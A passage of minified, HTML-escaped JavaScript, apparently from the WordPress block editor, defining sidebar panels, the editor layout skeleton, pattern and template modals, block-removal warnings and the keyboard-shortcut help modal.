Da({scope:e,target:t,__unstableExplicitMenuItem:s,...n}){return(0,c.jsx)(Ea,{as:n=&gt;(0,c.jsx)(Na,{__unstableExplicitMenuItem:s,__unstableTarget:`${e}/${t}`,as:Ra,name:`${e}/plugin-more-menu`,...n}),role:&quot;menuitemcheckbox&quot;,selectedIcon:zn,name:t,scope:e,...n})}function Aa({scope:e,...t}){return(0,c.jsx)(Hn.Fill,{name:`PinnedItems/${e}`,...t})}Aa.Slot=function({scope:e,className:t,...s}){return(0,c.jsx)(Hn.Slot,{name:`PinnedItems/${e}`,...s,children:e=&gt;e?.length&gt;0&amp;&amp;(0,c.jsx)(&quot;div&quot;,{className:mr(t,&quot;interface-pinned-items&quot;),children:e})})};var Ma=Aa;const La={open:{width:280},closed:{width:0},mobileOpen:{width:&quot;100vw&quot;}};function Oa({activeArea:e,isActive:t,scope:s,children:n,className:o,id:r}){const i=(0,m.useReducedMotion)(),a=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),l=(0,m.usePrevious)(e),d=(0,m.usePrevious)(t),[,u]=(0,p.useState)({});(0,p.useEffect)((()=&gt;{u({})}),[t]);const h={type:&quot;tween&quot;,duration:i||a||l&amp;&amp;e&amp;&amp;e!==l?0:.3,ease:[.6,0,.4,1]};return(0,c.jsx)(Hn.Fill,{name:`ComplementaryArea/${s}`,children:(0,c.jsx)(Hn.__unstableAnimatePresence,{initial:!1,children:(d||t)&amp;&amp;(0,c.jsx)(Hn.__unstableMotion.div,{variants:La,initial:&quot;closed&quot;,animate:a?&quot;mobileOpen&quot;:&quot;open&quot;,exit:&quot;closed&quot;,transition:h,className:&quot;interface-complementary-area__fill&quot;,children:(0,c.jsx)(&quot;div&quot;,{id:r,className:o,style:{width:a?&quot;100vw&quot;:280},children:n})})})})}function Fa({children:e,className:t,closeLabel:s=(0,fs.__)(&quot;Close plugin&quot;),identifier:n,header:o,headerClassName:r,icon:i,isPinnable:a=!0,panelClassName:l,scope:u,name:h,title:g,toggleShortcut:_,isActiveByDefault:f}){const b=(0,aa.usePluginContext)(),y=i||b.icon,x=n||`${b.name}/${h}`,[v,w]=(0,p.useState)(!1),{isLoading:S,isActive:k,isPinned:P,activeArea:j,isSmall:E,isLarge:T,showIconLabels:I}=(0,d.useSelect)((e=&gt;{const{getActiveComplementaryArea:t,isComplementaryAreaLoading:s,isItemPinned:n}=e(ja),{get:o}=e(C.store),r=t(u);return{isLoading:s(u),isActive:r===x,isPinned:n(u,x),activeArea:r,isSmall:e(ia.store).isViewportMatch(&quot;&lt; medium&quot;),isLarge:e(ia.store).isViewportMatch(&quot;large&quot;),showIconLabels:o(&quot;core&quot;,&quot;showIconLabels&quot;)}}),[x,u]),B=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);!function(e,t,s,n,o){const r=(0,p.useRef)(!1),i=(0,p.useRef)(!1),{enableComplementaryArea:a,disableComplementaryArea:l}=(0,d.useDispatch)(ja);(0,p.useEffect)((()=&gt;{n&amp;&amp;o&amp;&amp;!r.current?(l(e),i.current=!0):i.current&amp;&amp;!o&amp;&amp;r.current?(i.current=!1,a(e,t)):i.current&amp;&amp;s&amp;&amp;s!==t&amp;&amp;(i.current=!1),o!==r.current&amp;&amp;(r.current=o)}),[n,o,e,t,s,l,a])}(u,x,j,k,E);const{enableComplementaryArea:N,disableComplementaryArea:R,pinItem:D,unpinItem:A}=(0,d.useDispatch)(ja);if((0,p.useEffect)((()=&gt;{f&amp;&amp;void 0===j&amp;&amp;!E?N(u,x):void 0===j&amp;&amp;E&amp;&amp;R(u,x),w(!0)}),[j,f,u,x,E,N,R]),v)return(0,c.jsxs)(c.Fragment,{children:[a&amp;&amp;(0,c.jsx)(Ma,{scope:u,children:P&amp;&amp;(0,c.jsx)(Ea,{scope:u,identifier:x,isPressed:k&amp;&amp;(!I||T),&quot;aria-expanded&quot;:k,&quot;aria-disabled&quot;:S,label:g,icon:I?zn:y,showTooltip:!I,variant:I?&quot;tertiary&quot;:void 0,size:&quot;compact&quot;,shortcut:_})}),h&amp;&amp;a&amp;&amp;(0,c.jsx)(Da,{target:h,scope:u,icon:y,identifier:x,children:g}),(0,c.jsxs)(Oa,{activeArea:j,isActive:k,className:mr(&quot;interface-complementary-area&quot;,t),scope:u,id:x.replace(&quot;/&quot;,&quot;:&quot;),children:[(0,c.jsx)(Ta,{className:r,closeLabel:s,onClose:()=&gt;R(u),toggleButtonProps:{label:s,size:&quot;compact&quot;,shortcut:_,scope:u,identifier:x},children:o||(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;h2&quot;,{className:&quot;interface-complementary-area-header__title&quot;,children:g}),a&amp;&amp;!B&amp;&amp;(0,c.jsx)(Hn.Button,{className:&quot;interface-complementary-area__pin-unpin-item&quot;,icon:P?oa:ra,label:P?(0,fs.__)(&quot;Unpin from toolbar&quot;):(0,fs.__)(&quot;Pin to toolbar&quot;),onClick:()=&gt;(P?A:D)(u,x),isPressed:P,&quot;aria-expanded&quot;:P,size:&quot;compact&quot;})]})}),(0,c.jsx)(Hn.Panel,{className:l,children:e})]})]})}Fa.Slot=function({scope:e,...t}){return(0,c.jsx)(Hn.Slot,{name:`ComplementaryArea/${e}`,...t})};var Va=Fa;var Ua=({isActive:e})=&gt;((0,p.useEffect)((()=&gt;{let e=!1;return document.body.classList.contains(&quot;sticky-menu&quot;)&amp;&amp;(e=!0,document.body.classList.remove(&quot;sticky-menu&quot;)),()=&gt;{e&amp;&amp;document.body.classList.add(&quot;sticky-menu&quot;)}}),[]),(0,p.useEffect)((()=&gt;(e?document.body.classList.add(&quot;is-fullscreen-mode&quot;):document.body.classList.remove(&quot;is-fullscreen-mode&quot;),()=&gt;{e&amp;&amp;document.body.classList.remove(&quot;is-fullscreen-mode&quot;)})),[e]),null);const Ha=(0,p.forwardRef)((({children:e,className:t,ariaLabel:s,as:n=&quot;div&quot;,...o},r)=&gt;(0,c.jsx)(n,{ref:r,className:mr(&quot;admin-ui-navigable-region&quot;,t),&quot;aria-label&quot;:s,role:&quot;region&quot;,tabIndex:&quot;-1&quot;,...o,children:e})));Ha.displayName=&quot;NavigableRegion&quot;;var za=Ha;const Ga={type:&quot;tween&quot;,duration:.25,ease:[.6,0,.4,1]};const $a={hidden:{opacity:1,marginTop:-60},visible:{opacity:1,marginTop:0},distractionFreeHover:{opacity:1,marginTop:0,transition:{...Ga,delay:.2,delayChildren:.2}},distractionFreeHidden:{opacity:0,marginTop:-60},distractionFreeDisabled:{opacity:0,marginTop:0,transition:{...Ga,delay:.8,delayChildren:.8}}};var Wa=(0,p.forwardRef)((function({isDistractionFree:e,footer:t,header:s,editorNotices:n,sidebar:o,secondarySidebar:r,content:i,actions:a,labels:l,className:d},u){const[h,g]=(0,m.useResizeObserver)(),_=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),f={type:&quot;tween&quot;,duration:(0,m.useReducedMotion)()?0:.25,ease:[.6,0,.4,1]};!function(e){(0,p.useEffect)((()=&gt;{const t=document&amp;&amp;document.querySelector(`html:not(.${e})`);if(t)return t.classList.toggle(e),()=&gt;{t.classList.toggle(e)}}),[e])}(&quot;interface-interface-skeleton__html-container&quot;);const b={...{header:(0,fs._x)(&quot;Header&quot;,&quot;header landmark area&quot;),body:(0,fs.__)(&quot;Content&quot;),secondarySidebar:(0,fs.__)(&quot;Block Library&quot;),sidebar:(0,fs._x)(&quot;Settings&quot;,&quot;settings landmark area&quot;),actions:(0,fs.__)(&quot;Publish&quot;),footer:(0,fs.__)(&quot;Footer&quot;)},...l};return(0,c.jsxs)(&quot;div&quot;,{ref:u,className:mr(d,&quot;interface-interface-skeleton&quot;,!!t&amp;&amp;&quot;has-footer&quot;),children:[(0,c.jsxs)(&quot;div&quot;,{className:&quot;interface-interface-skeleton__editor&quot;,children:[(0,c.jsx)(Hn.__unstableAnimatePresence,{initial:!1,children:!!s&amp;&amp;(0,c.jsx)(za,{as:Hn.__unstableMotion.div,className:&quot;interface-interface-skeleton__header&quot;,&quot;aria-label&quot;:b.header,initial:e&amp;&amp;!_?&quot;distractionFreeHidden&quot;:&quot;hidden&quot;,whileHover:e&amp;&amp;!_?&quot;distractionFreeHover&quot;:&quot;visible&quot;,animate:e&amp;&amp;!_?&quot;distractionFreeDisabled&quot;:&quot;visible&quot;,exit:e&amp;&amp;!_?&quot;distractionFreeHidden&quot;:&quot;hidden&quot;,variants:$a,transition:f,children:s})}),e&amp;&amp;(0,c.jsx)(&quot;div&quot;,{className:&quot;interface-interface-skeleton__header&quot;,children:n}),(0,c.jsxs)(&quot;div&quot;,{className:&quot;interface-interface-skeleton__body&quot;,children:[(0,c.jsx)(Hn.__unstableAnimatePresence,{initial:!1,children:!!r&amp;&amp;(0,c.jsx)(za,{className:&quot;interface-interface-skeleton__secondary-sidebar&quot;,ariaLabel:b.secondarySidebar,as:Hn.__unstableMotion.div,initial:&quot;closed&quot;,animate:&quot;open&quot;,exit:&quot;closed&quot;,variants:{open:{width:g.width},closed:{width:0}},transition:f,children:(0,c.jsxs)(Hn.__unstableMotion.div,{style:{position:&quot;absolute&quot;,width:_?&quot;100vw&quot;:&quot;fit-content&quot;,height:&quot;100%&quot;,left:0},variants:{open:{x:0},closed:{x:&quot;-100%&quot;}},transition:f,children:[h,r]})})}),(0,c.jsx)(za,{className:&quot;interface-interface-skeleton__content&quot;,ariaLabel:b.body,children:i}),!!o&amp;&amp;(0,c.jsx)(za,{className:&quot;interface-interface-skeleton__sidebar&quot;,ariaLabel:b.sidebar,children:o}),!!a&amp;&amp;(0,c.jsx)(za,{className:&quot;interface-interface-skeleton__actions&quot;,ariaLabel:b.actions,children:a})]})]}),!!t&amp;&amp;(0,c.jsx)(za,{className:&quot;interface-interface-skeleton__footer&quot;,ariaLabel:b.footer,children:t})]})}));const{RenamePatternModal:Za}=$(ao.privateApis),Ya=&quot;editor/pattern-rename&quot;;function qa(){const{record:e,postType:t}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(vc),{getEditedEntityRecord:n}=e(u.store),o=t();return{record:n(&quot;postType&quot;,o,s()),postType:o}}),[]),{closeModal:s}=(0,d.useDispatch)(ja);return(0,d.useSelect)((e=&gt;e(ja).isModalActive(Ya)))&amp;&amp;t===N?(0,c.jsx)(Za,{onClose:s,pattern:e}):null}const{DuplicatePatternModal:Ka}=$(ao.privateApis),Qa=&quot;editor/pattern-duplicate&quot;;function Xa(){const{record:e,postType:t}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(vc),{getEditedEntityRecord:n}=e(u.store),o=t();return{record:n(&quot;postType&quot;,o,s()),postType:o}}),[]),{closeModal:s}=(0,d.useDispatch)(ja);return(0,d.useSelect)((e=&gt;e(ja).isModalActive(Qa)))&amp;&amp;t===N?(0,c.jsx)(Ka,{onClose:s,onSuccess:()=&gt;s(),pattern:e}):null}const{BlockRemovalWarningModal:Ja}=$(g.privateApis),el=[&quot;core/post-content&quot;,&quot;core/post-template&quot;,&quot;core/query&quot;],tl=[{postTypes:[&quot;wp_template&quot;,&quot;wp_template_part&quot;],callback(e){if(e.filter((({name:e})=&gt;el.includes(e))).length)return(0,fs._n)(&quot;Deleting this block will stop your post or page content from displaying on this template. It is not recommended.&quot;,&quot;Some of the deleted blocks will stop your post or page content from displaying on this template. It is not recommended.&quot;,e.length)}},{postTypes:[&quot;wp_block&quot;],callback(e){if(e.filter((({attributes:e})=&gt;e?.metadata?.bindings&amp;&amp;Object.values(e.metadata.bindings).some((e=&gt;&quot;core/pattern-overrides&quot;===e.source)))).length)return(0,fs._n)(&quot;The deleted block allows instance overrides. Removing it may result in content not displaying where this pattern is used. Are you sure you want to proceed?&quot;,&quot;Some of the deleted blocks allow instance overrides. Removing them may result in content not displaying where this pattern is used. Are you sure you want to proceed?&quot;,e.length)}}];function sl(){const e=(0,d.useSelect)((e=&gt;e(vc).getCurrentPostType()),[]),t=(0,p.useMemo)((()=&gt;tl.filter((t=&gt;t.postTypes.includes(e)))),[e]);return Ja&amp;&amp;t?(0,c.jsx)(Ja,{rules:t}):null}function nl({blockPatterns:e,onChoosePattern:t}){const{editEntityRecord:s}=(0,d.useDispatch)(u.store),{postType:n,postId:o}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(vc);return{postType:t(),postId:s()}}),[]);return(0,c.jsx)(g.__experimentalBlockPatternsList,{blockPatterns:e,onClickPattern:(e,r)=&gt;{s(&quot;postType&quot;,n,o,{blocks:r,content:({blocks:e=[]})=&gt;(0,x.__unstableSerializeAndClean)(e)}),t()}})}function ol({onClose:e}){const[t,s]=(0,p.useState)(!0),{set:n}=(0,d.useDispatch)(C.store),o=function(){const{blockPatternsWithPostContentBlockType:e,postType:t}=(0,d.useSelect)((e=&gt;{const{getPatternsByBlockTypes:t,getBlocksByName:s}=e(g.store),{getCurrentPostType:n,getRenderingMode:o}=e(vc);return{blockPatternsWithPostContentBlockType:t(&quot;core/post-content&quot;,&quot;post-only&quot;===o()?&quot;&quot;:s(&quot;core/post-content&quot;)?.[0]),postType:n()}}),[]);return(0,p.useMemo)((()=&gt;e?.length?e.filter((e=&gt;&quot;page&quot;===t&amp;&amp;!e.postTypes||Array.isArray(e.postTypes)&amp;&amp;e.postTypes.includes(t))):[]),[t,e])}();if(!(o.length&gt;0))return null;function r(){e(),n(&quot;core&quot;,&quot;enableChoosePatternModal&quot;,t)}return(0,c.jsxs)(Hn.Modal,{className:&quot;editor-start-page-options__modal&quot;,title:(0,fs.__)(&quot;Choose a pattern&quot;),isFullScreen:!0,onRequestClose:r,children:[(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-start-page-options__modal-content&quot;,children:(0,c.jsx)(nl,{blockPatterns:o,onChoosePattern:r})}),(0,c.jsx)(Hn.Flex,{className:&quot;editor-start-page-options__modal__actions&quot;,justify:&quot;flex-start&quot;,expanded:!1,children:(0,c.jsx)(Hn.FlexItem,{children:(0,c.jsx)(Hn.CheckboxControl,{__nextHasNoMarginBottom:!0,checked:t,label:(0,fs.__)(&quot;Always show starter patterns for new pages&quot;),onChange:e=&gt;{s(e)}})})})]})}function rl(){const[e,t]=(0,p.useState)(!1),{isEditedPostDirty:s,isEditedPostEmpty:n}=(0,d.useSelect)(vc),{isModalActive:o}=(0,d.useSelect)(ja),{enabled:r,postId:i}=(0,d.useSelect)((e=&gt;{const{getCurrentPostId:t,getCurrentPostType:s}=e(vc),n=e(C.store).get(&quot;core&quot;,&quot;enableChoosePatternModal&quot;);return{postId:t(),enabled:n&amp;&amp;I!==s()}}),[]);return(0,p.useEffect)((()=&gt;{const e=!s()&amp;&amp;n(),i=o(&quot;editor/preferences&quot;);r&amp;&amp;e&amp;&amp;!i&amp;&amp;t(!0)}),[r,i,s,n,o]),e?(0,c.jsx)(ol,{onClose:()=&gt;t(!1)}):null}const il=window.wp.keyboardShortcuts,al=[{keyCombination:{modifier:&quot;primary&quot;,character:&quot;b&quot;},description:(0,fs.__)(&quot;Make the selected text bold.&quot;)},{keyCombination:{modifier:&quot;primary&quot;,character:&quot;i&quot;},description:(0,fs.__)(&quot;Make the selected text italic.&quot;)},{keyCombination:{modifier:&quot;primary&quot;,character:&quot;k&quot;},description:(0,fs.__)(&quot;Convert the selected text into a link.&quot;)},{keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;k&quot;},description:(0,fs.__)(&quot;Remove a link.&quot;)},{keyCombination:{character:&quot;[[&quot;},description:(0,fs.__)(&quot;Insert a link to a post or page.&quot;)},{keyCombination:{modifier:&quot;primary&quot;,character:&quot;u&quot;},description:(0,fs.__)(&quot;Underline the selected text.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;d&quot;},description:(0,fs.__)(&quot;Strikethrough the selected text.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;x&quot;},description:(0,fs.__)(&quot;Make the selected text inline code.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;0&quot;},aliases:[{modifier:&quot;access&quot;,character:&quot;7&quot;}],description:(0,fs.__)(&quot;Convert the current heading to a paragraph.&quot;)},{keyCombination:{modifier:&quot;access&quot;,character:&quot;1-6&quot;},description:(0,fs.__)(&quot;Convert the current paragraph or heading to a heading of level 1 to 6.&quot;)},{keyCombination:{modifier:&quot;primaryShift&quot;,character:&quot;SPACE&quot;},description:(0,fs.__)(&quot;Add non breaking space.&quot;)}],ll=window.wp.keycodes;function cl({keyCombination:e,forceAriaLabel:t}){const s=e.modifier?ll.displayShortcutList[e.modifier](e.character):e.character,n=e.modifier?ll.shortcutAriaLabel[e.modifier](e.character):e.character;return(0,c.jsx)(&quot;kbd&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-key-combination&quot;,&quot;aria-label&quot;:t||n,children:(Array.isArray(s)?s:[s]).map(((e,t)=&gt;&quot;+&quot;===e?(0,c.jsx)(p.Fragment,{children:e},t):(0,c.jsx)(&quot;kbd&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-key&quot;,children:e},t)))})}var dl=function({description:e,keyCombination:t,aliases:s=[],ariaLabel:n}){return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-description&quot;,children:e}),(0,c.jsxs)(&quot;div&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-term&quot;,children:[(0,c.jsx)(cl,{keyCombination:t,forceAriaLabel:n}),s.map(((e,t)=&gt;(0,c.jsx)(cl,{keyCombination:e,forceAriaLabel:n},t)))]})]})};var ul=function({name:e}){const{keyCombination:t,description:s,aliases:n}=(0,d.useSelect)((t=&gt;{const{getShortcutKeyCombination:s,getShortcutDescription:n,getShortcutAliases:o}=t(il.store);return{keyCombination:s(e),aliases:o(e),description:n(e)}}),[e]);return t?(0,c.jsx)(dl,{keyCombination:t,description:s,aliases:n}):null};const pl=&quot;editor/keyboard-shortcut-help&quot;,ml=({shortcuts:e})=&gt;(0,c.jsx)(&quot;ul&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut-list&quot;,role:&quot;list&quot;,children:e.map(((e,t)=&gt;(0,c.jsx)(&quot;li&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__shortcut&quot;,children:&quot;string&quot;==typeof e?(0,c.jsx)(ul,{name:e}):(0,c.jsx)(dl,{...e})},t)))}),hl=({title:e,shortcuts:t,className:s})=&gt;(0,c.jsxs)(&quot;section&quot;,{className:mr(&quot;editor-keyboard-shortcut-help-modal__section&quot;,s),children:[!!e&amp;&amp;(0,c.jsx)(&quot;h2&quot;,{className:&quot;editor-keyboard-shortcut-help-modal__section-title&quot;,children:e}),(0,c.jsx)(ml,{shortcuts:t})]}),gl=({title:e,categoryName:t,additionalShortcuts:s=[]})=&gt;{const n=(0,d.useSelect)((e=&gt;e(il.store).getCategoryShortcuts(t)),[t]);return(0,c.jsx)(hl,{title:e,shortcuts:n.concat(s)})};var _l=function(){const e=(0,d.useSelect)((e=&gt;e(ja).isModalActive(pl)),[]),{openModal:t,closeModal:s}=(0,d.useDispatch)(ja),n=()=&gt;{e?s():t(pl)};return(0,il.useShortcut)(&quot;core/editor/keyboard-shortcuts&quot;,n),e?(0,c.jsxs)(Hn.Modal,{className:&quot;editor-keyboard-shortcut-help-modal&quot;,title:(0,fs.__)(&quot;Keyboard shortcuts&quot;),closeButtonLabel:(0,fs.__)(&quot;Close&quot;),onRequestClose:n,children:[(0,c.jsx)(hl,{className:&quot;editor-keyboard-shortcut-help-modal__main-shortcuts&quot;,shortcuts:[&quot;core/editor/keyboard-shortcuts&quot;]}),(0,c.jsx)(gl,{title:(0,fs.__)(&quot;Global shortcuts&quot;),categoryName:&quot;global&quot;}),(0,c.jsx)(gl,{title:(0,fs.__)(&quot;Selection shortcuts&quot;),categoryName:&quot;selection&quot;}),(0,c.jsx)(gl,{title:(0,fs.__)(&quot;Block shortcuts&quot;),categoryName:&quot;block&quot;,additionalShortcuts:[{keyCombination:{character:&quot;/&quot;},description:(0,fs.__)(&quot;Change the block type after adding a new paragraph.&quot;),ariaLabel:(0,fs.__)(&quot;Forward-slash&quot;)}]}),(0,c.jsx)(hl,{title:(0,fs.__)(&quot;Text formatting&quot;),shortcuts:al}),(0,c.jsx)(gl,{title:(0,fs.__)(&quot;List View shortcuts&quot;),categoryName:&quot;list-view&quot;})]}):null};function fl({clientId:e,onClose:t}){const s=Ui(),{entity:n,onNavigateToEntityRecord:o,canEditTemplates:r}=(0,d.useSelect)((t=&gt;{const{getBlockParentsByBlockName:n,getSettings:o,getBlockAttributes:r,getBlockParents:i}=t(g.store),{getCurrentTemplateId:a,getRenderingMode:l}=t(vc),c=n(e,&quot;core/block&quot;,!0)[0];let d;if(c?d=t(u.store).getEntityRecord(&quot;postType&quot;,&quot;wp_block&quot;,r(c).ref):&quot;template-locked&quot;!==l()||i(e).some((e=&gt;s.includes(e)))||(d=t(u.store).getEntityRecord(&quot;postType&quot;,&quot;wp_template&quot;,a())),!d)return{};return{canEditTemplates:t(u.store).canUser(&quot;create&quot;,{kind:&quot;postType&quot;,name:&quot;wp_template&quot;}),entity:d,onNavigateToEntityRecord:o().onNavigateToEntityRecord}}),[e,s]);if(!n)return(0,c.jsx)(bl,{clientId:e,onClose:t});const i=&quot;wp_block&quot;===n.type;let a=i?(0,fs.__)(&quot;Edit the pattern to move, delete, or make further changes to this block.&quot;):(0,fs.__)(&quot;Edit the template to move, delete, or make further changes to this block.&quot;);return r||(a=(0,fs.__)(&quot;Only users with permissions to edit the template can move or delete this block&quot;)),(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(g.__unstableBlockSettingsMenuFirstItem,{children:(0,c.jsx)(Hn.MenuItem,{onClick:()=&gt;{o({postId:n.id,postType:n.type})},disabled:!r,children:i?(0,fs.__)(&quot;Edit pattern&quot;):(0,fs.__)(&quot;Edit template&quot;)})}),(0,c.jsx)(Hn.__experimentalText,{variant:&quot;muted&quot;,as:&quot;p&quot;,className:&quot;editor-content-only-settings-menu__description&quot;,children:a})]})}function bl({clientId:e,onClose:t}){const{contentLockingParent:s}=(0,d.useSelect)((t=&gt;{const{getContentLockingParent:s}=$(t(g.store));return{contentLockingParent:s(e)}}),[e]),n=(0,g.useBlockDisplayInformation)(s),o=(0,d.useDispatch)(g.store);if(!n?.title)return null;const{modifyContentLockBlock:r}=$(o);return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(g.__unstableBlockSettingsMenuFirstItem,{children:(0,c.jsx)(Hn.MenuItem,{onClick:()=&gt;{r(s),t()},children:(0,fs._x)(&quot;Unlock&quot;,&quot;Unlock content locked blocks&quot;)})}),(0,c.jsx)(Hn.__experimentalText,{variant:&quot;muted&quot;,as:&quot;p&quot;,className:&quot;editor-content-only-settings-menu__description&quot;,children:(0,fs.__)(&quot;Temporarily unlock the parent block to edit, delete or make further changes to this block.&quot;)})]})}function yl(){return(0,c.jsx)(g.BlockSettingsMenuControls,{children:({selectedClientIds:e,onClose:t})=&gt;1===e.length&amp;&amp;(0,c.jsx)(fl,{clientId:e[0],onClose:t})})}function xl(e){const{slug:t,patterns:s}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(vc),{getEntityRecord:n,getBlockPatterns:o}=e(u.store),r=s();return{slug:n(&quot;postType&quot;,t(),r).slug,patterns:o()}}),[]),n=(0,d.useSelect)((e=&gt;e(u.store).getCurrentTheme().stylesheet));return(0,p.useMemo)((()=&gt;[{name:&quot;fallback&quot;,blocks:(0,x.parse)(e),title:(0,fs.__)(&quot;Fallback content&quot;)},...s.filter((e=&gt;Array.isArray(e.templateTypes)&amp;&amp;e.templateTypes.some((e=&gt;t.startsWith(e))))).map((e=&gt;({...e,blocks:(0,x.parse)(e.content).map((e=&gt;function(e){return e.innerBlocks.find((e=&gt;&quot;core/template-part&quot;===e.name))&amp;&amp;(e.innerBlocks=e.innerBlocks.map((e=&gt;(&quot;core/template-part&quot;===e.name&amp;&amp;void 0===e.attributes.theme&amp;&amp;(e.attributes.theme=n),e)))),&quot;core/template-part&quot;===e.name&amp;&amp;void 0===e.attributes.theme&amp;&amp;(e.attributes.theme=n),e}(e)))})))]),[e,t,s])}function vl({fallbackContent:e,onChoosePattern:t,postType:s}){const[,,n]=(0,u.useEntityBlockEditor)(&quot;postType&quot;,s),o=xl(e);return(0,c.jsx)(g.__experimentalBlockPatternsList,{blockPatterns:o,onClickPattern:(e,s)=&gt;{n(s,{selection:void 0}),t()}})}function wl({slug:e,isCustom:t,onClose:s,postType:n}){const o=function(e,t=!1){return(0,d.useSelect)((s=&gt;{const{getEntityRecord:n,getDefaultTemplateId:o}=s(u.store),r=o({slug:e,is_custom:t,ignore_empty:!0});return r?n(&quot;postType&quot;,I,r)?.content?.raw:void 0}),[e,t])}(e,t);return o?(0,c.jsxs)(Hn.Modal,{className:&quot;editor-start-template-options__modal&quot;,title:(0,fs.__)(&quot;Choose a pattern&quot;),closeLabel:(0,fs.__)(&quot;Cancel&quot;),focusOnMount:&quot;firstElement&quot;,onRequestClose:s,isFullScreen:!0,children:[(0,c.jsx)(&quot;div&quot;,{className:&quot;editor-start-template-options__modal-content&quot;,children:(0,c.jsx)(vl,{fallbackContent:o,slug:e,isCustom:t,postType:n,onChoosePattern:()=&gt;{s()}})}),(0,c.jsx)(Hn.Flex,{className:&quot;editor-start-template-options__modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:(0,c.jsx)(Hn.FlexItem,{children:(0,c.jsx)(Hn.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:s,children:(0,fs.__)(&quot;Skip&quot;)})})})]}):null}function Sl(){const[e,t]=(0,p.useState)(!1),{shouldOpenModal:s,slug:n,isCustom:o,postType:r,postId:i}=(0,d.useSelect)((e=&gt;{const{getCurrentPostType:t,getCurrentPostId:s}=e(vc),n=t(),o=s(),{getEditedEntityRecord:r,hasEditsForEntityRecord:i}=e(u.store),a=r(&quot;postType&quot;,n,o);return{shouldOpenModal:!i(&quot;postType&quot;,n,o)&amp;&amp;&quot;&quot;===a.content&amp;&amp;I===n,slug:a.slug,isCustom:a.is_custom,postType:n,postId:o}}),[]);return(0,p.useEffect)((()=&gt;{t(!1)}),[r,i]),!s||e?null:(0,c.jsx)(wl,{slug:n,isCustom:o,postType:r,onClose:()=&gt;t(!0)})}function kl(){const e=(0,d.useSelect)((e=&gt;{const{richEditingEnabled:t,codeEditingEnabled:s}=e(vc).getEditorSettings();return!t||!s}),[]),{getBlockSelectionStart:t}=(0,d.useSelect)(g.store),{getActiveComplementaryArea:s}=(0,d.useSelect)(ja),{enableComplementaryArea:n,disableComplementaryArea:o}=(0,d.useDispatch)(ja),{redo:r,undo:i,savePost:a,setIsListViewOpened:l,switchEditorMode:c,toggleDistractionFree:u}=(0,d.useDispatch)(vc),{isEditedPostDirty:p,isPostSavingLocked:m,isListViewOpened:h,getEditorMode:_}=(0,d.useSelect)(vc);return(0,il.useShortcut)(&quot;core/editor/toggle-mode&quot;,(()=&gt;{c(&quot;visual&quot;===_()?&quot;text&quot;:&quot;visual&quot;)}),{isDisabled:e}),(0,il.useShortcut)(&quot;core/editor/toggle-distraction-free&quot;,(()=&gt;{u()})),(0,il.useShortcut)(&quot;core/editor/undo&quot;,(e=&gt;{i(),e.preventDefault()})),(0,il.useShortcut)(&quot;core/editor/redo&quot;,(e=&gt;{r(),e.preventDefault()})),(0,il.useShortcut)(&quot;core/editor/save&quot;,(e=&gt;{e.preventDefault(),m()||p()&amp;&amp;a()})),(0,il.useShortcut)(&quot;core/editor/toggle-list-view&quot;,(e=&gt;{h()||(e.preventDefault(),l(!0))})),(0,il.useShortcut)(&quot;core/editor/toggle-sidebar&quot;,(e=&gt;{e.preventDefault();if([&quot;edit-post/document&quot;,&quot;edit-post/block&quot;].includes(s(&quot;core&quot;)))o(&quot;core&quot;);else{const e=t()?&quot;edit-post/block&quot;:&quot;edit-post/document&quot;;n(&quot;core&quot;,e)}})),null}function Cl({clientId:e,onClose:t}){const{getBlocks:s}=(0,d.useSelect)(g.store),{replaceBlocks:n}=(0,d.useDispatch)(g.store);return(0,d.useSelect)((t=&gt;t(g.store).canRemoveBlock(e)),[e])?(0,c.jsx)(Hn.MenuItem,{onClick:()=&gt;{n(e,s(e)),t()},children:(0,fs.__)(&quot;Detach&quot;)}):null}function Pl({clientIds:e,blocks:t}){const[s,n]=(0,p.useState)(!1),{replaceBlocks:o}=(0,d.useDispatch)(g.store),{createSuccessNotice:r}=(0,d.useDispatch)(_s.store),{isBlockBasedTheme:i,canCreate:a}=(0,d.useSelect)((e=&gt;({isBlockBasedTheme:e(u.store).getCurrentTheme()?.is_block_theme,canCreate:e(g.store).canInsertBlockType(&quot;core/template-part&quot;)})),[]);if(!i||!a)return null;return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsx)(Hn.MenuItem,{icon:U,onClick:()=&gt;{n(!0)},&quot;aria-expanded&quot;:s,&quot;aria-haspopup&quot;:&quot;dialog&quot;,children:(0,fs.__)(&quot;Create template part&quot;)}),s&amp;&amp;(0,c.jsx)(Jn,{closeModal:()=&gt;{n(!1)},blocks:t,onCreate:async t=&gt;{o(e,(0,x.createBlock)(&quot;core/template-part&quot;,{slug:t.slug,theme:t.theme})),r((0,fs.__)(&quot;Template part created.&quot;),{type:&quot;snackbar&quot;})}})]})}function jl(){return(0,c.jsx)(g.BlockSettingsMenuControls,{children:({selectedClientIds:e,onClose:t})=&gt;(0,c.jsx)(El,{clientIds:e,onClose:t})})}function 